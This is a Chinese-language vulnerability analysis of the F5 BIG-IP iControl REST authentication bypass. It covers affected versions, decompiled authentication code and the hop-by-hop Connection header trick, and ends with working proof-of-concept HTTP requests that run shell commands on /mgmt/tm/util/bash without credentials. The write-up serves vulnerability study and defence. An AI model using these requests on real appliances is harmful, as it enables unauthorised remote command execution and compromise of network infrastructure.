0x00 前言 这是去年的漏洞了,今天又出了,好久没有做复现了,看看一逻辑
漏洞描述 2022年修复CVE-2022-1388
,和之前的未授权类似,也是同一个接口的绕过
影响版本 1 2 3 4 5 6 BIG-IP (全部模块) v16.0.0-16.1.2 BIG-IP (全部模块) v15.1.0-15.1.5 BIG-IP (全部模块) v14.1.0-14.1.4 BIG-IP (全部模块) v13.1.0-13.1.4 BIG-IP (全部模块) v12.1.0-12.1.6 BIG-IP (全部模块) v11.6.1-11.6.5
0x01 环境搭建 略..
0x02 代码分析 这里不说ssrf
获取token
的问题,详见安全客文章
认证流程 三种认证方式
cookie
Authorization
X-F5-Auth-Token
这里用到后面两种,
其中Authorization
是在apache
加载的so
文件种认证的
X-F5-Auth-Token
是在java
代码种认证的
这里面存在一个问题就是,后端不会对apache
认证过的做二次认证
其中在so
文件中如果检测到了请求头X-F5-Auth-Token
,则会直接发往后端,详见斗象安全研究
我们可以看一下异同
没有请求头时,返回的apache的401
存在请求头时,返回的是后端的请求头,具体的执行流程可以看上面的安全客文章
还有个关于监听器的文档官方文档
这就是之前文章说的在apache种检测了这个头部是否为空
修复的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 private static boolean setIdentityFromBasicAuth (final RestOperation request, final Runnable runnable) { String authHeader = request.getBasicAuthorization(); if (authHeader == null ) return false ; final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host" ); if (xForwardedHostHeaderValue == null ) { request.setIdentityData(components.userName, null , null ); if (runnable != null ) runnable.run(); return true ; } String[] valueList = xForwardedHostHeaderValue.split(", " ); int valueIdx = (valueList.length > 1 ) ? (valueList.length - 1 ) : 0 ; if (valueList[valueIdx].contains("localhost" ) || valueList[valueIdx] .contains("127.0.0.1" )) { request.setIdentityData(components.userName, null , null ); if (runnable != null ) runnable.run(); return true ; } if (valueList[valueIdx].contains("127.4.2.1" ) && components.userName.equals("f5hubblelcdadmin" )) { request.setIdentityData(components.userName, null , null ); if (runnable != null ) runnable.run(); return true ; } boolean isPasswordExpired = (request.getAdditionalHeader("X-F5-New-Authtok-Reqd" ) != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd" ).equals("true" )); if (!PasswordUtil.isPasswordReset().booleanValue() || isPasswordExpired) { request.setIdentityData(components.userName, null , null ); if (runnable != null ) runnable.run(); return true ; } AuthProviderLoginState loginState = new AuthProviderLoginState(); loginState.username = components.userName; loginState.password = components.password; loginState.address = request.getRemoteSender(); RestRequestCompletion authCompletion = new RestRequestCompletion() { public void completed (RestOperation subRequest) { request.setIdentityData(components.userName, null , null ); if (runnable != null ) runnable.run(); } public void failed (Exception ex, RestOperation subRequest) { RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s" , new Object[] { ex.getMessage() }); if (ex.getMessage().contains("Password expired" )) request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION)); if (runnable != null ) runnable.run(); } }; try { RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), null )).setCompletion(authCompletion); RestRequestSender.sendPost(subRequest); } catch (URISyntaxException e) { LOGGER.warningFmt("ERROR: URISyntaxEception %s" , new Object[] { e.getMessage() }); } return true ; }
尤其是可以看到,这里存在多处run
,当为X-Forwarded-Host
空时会直接设置我们的admin
的身份
但是这个东西是我们没办法控制的,这是apache
作为代理,转发的时候加上的请求头
那这里还是跟请求头相关的漏洞
HTTP request smuggling
hop-by-hop headers abuse
HTTP request smuggling HTTP
请求走私漏洞,和持久化连接相关,根因为管道化连接pipeline
,HTTP
规范提供了两种不同的方法来指定请求的结束位置(Content-Length/Transfer-Encoding
),因此判断和此漏洞无关
A hop-by-hop header
是设计用于由当前处理请求的代理处理和使用的标头,而不是端到端标头,其设计为始终存在于请求中到请求结束。根据RFC 2612 ,HTTP/1.1
规范默认将以下标头视为逐跳:Keep-Alive
、Transfer-Encoding
、TE
、Connection
、Trailer
、Upgrade
和。当在请求中遇到这些标头时,兼容的代理应该处理或操作这些标头所指示的任何内容,而不是将它们转发到下一个跃点。Proxy-Authorization``Proxy-Authenticate
具体原理可参考Abusing HTTP hop-by-hop request headers
大概意思就是我们可以通过这个漏洞,删除掉,apache
向后端转发的X-Forwarded-Host
请求头和X-F5-Auth-Token
请求头
0x03 漏洞复现 我们可以具体看一下后端的反应
1 2 3 4 5 6 7 8 9 POST /mgmt/tm/util/bash HTTP/1.1 Host: 192.168.0.68 X-F5-Auth-Token: a Authorization: Basic YWRtaW46 { "command": "run", "utilCmdArgs": "-c id" }
此后后端应该是检查的X-F5-Auth-Token
我们用漏洞删除此请求头
1 2 3 4 5 6 7 8 9 10 POST /mgmt/tm/util/bash HTTP/1.1 Host: 192.168.0.68 X-F5-Auth-Token: a Authorization: Basic YWRtaW46 Connection: Keep-alive,X-F5-Auth-Token { "command": "run", "utilCmdArgs": "-c id" }
可以看到这个时候的验证方式就变了
poc
1 2 3 4 5 6 7 8 9 10 POST /mgmt/tm/util/bash HTTP/1.1 Host: 192.168.0.68 X-F5-Auth-Token: a Authorization: Basic YWRtaW46 Connection: Keep-alive,X-F5-Auth-Token,X-Forwarded-Host { "command": "run", "utilCmdArgs": "-c id" }
0x04 漏洞修复 暂时还没看
测试了一下,应该是在加载的so文件中做了判断,不会在直接放行
0x05 end …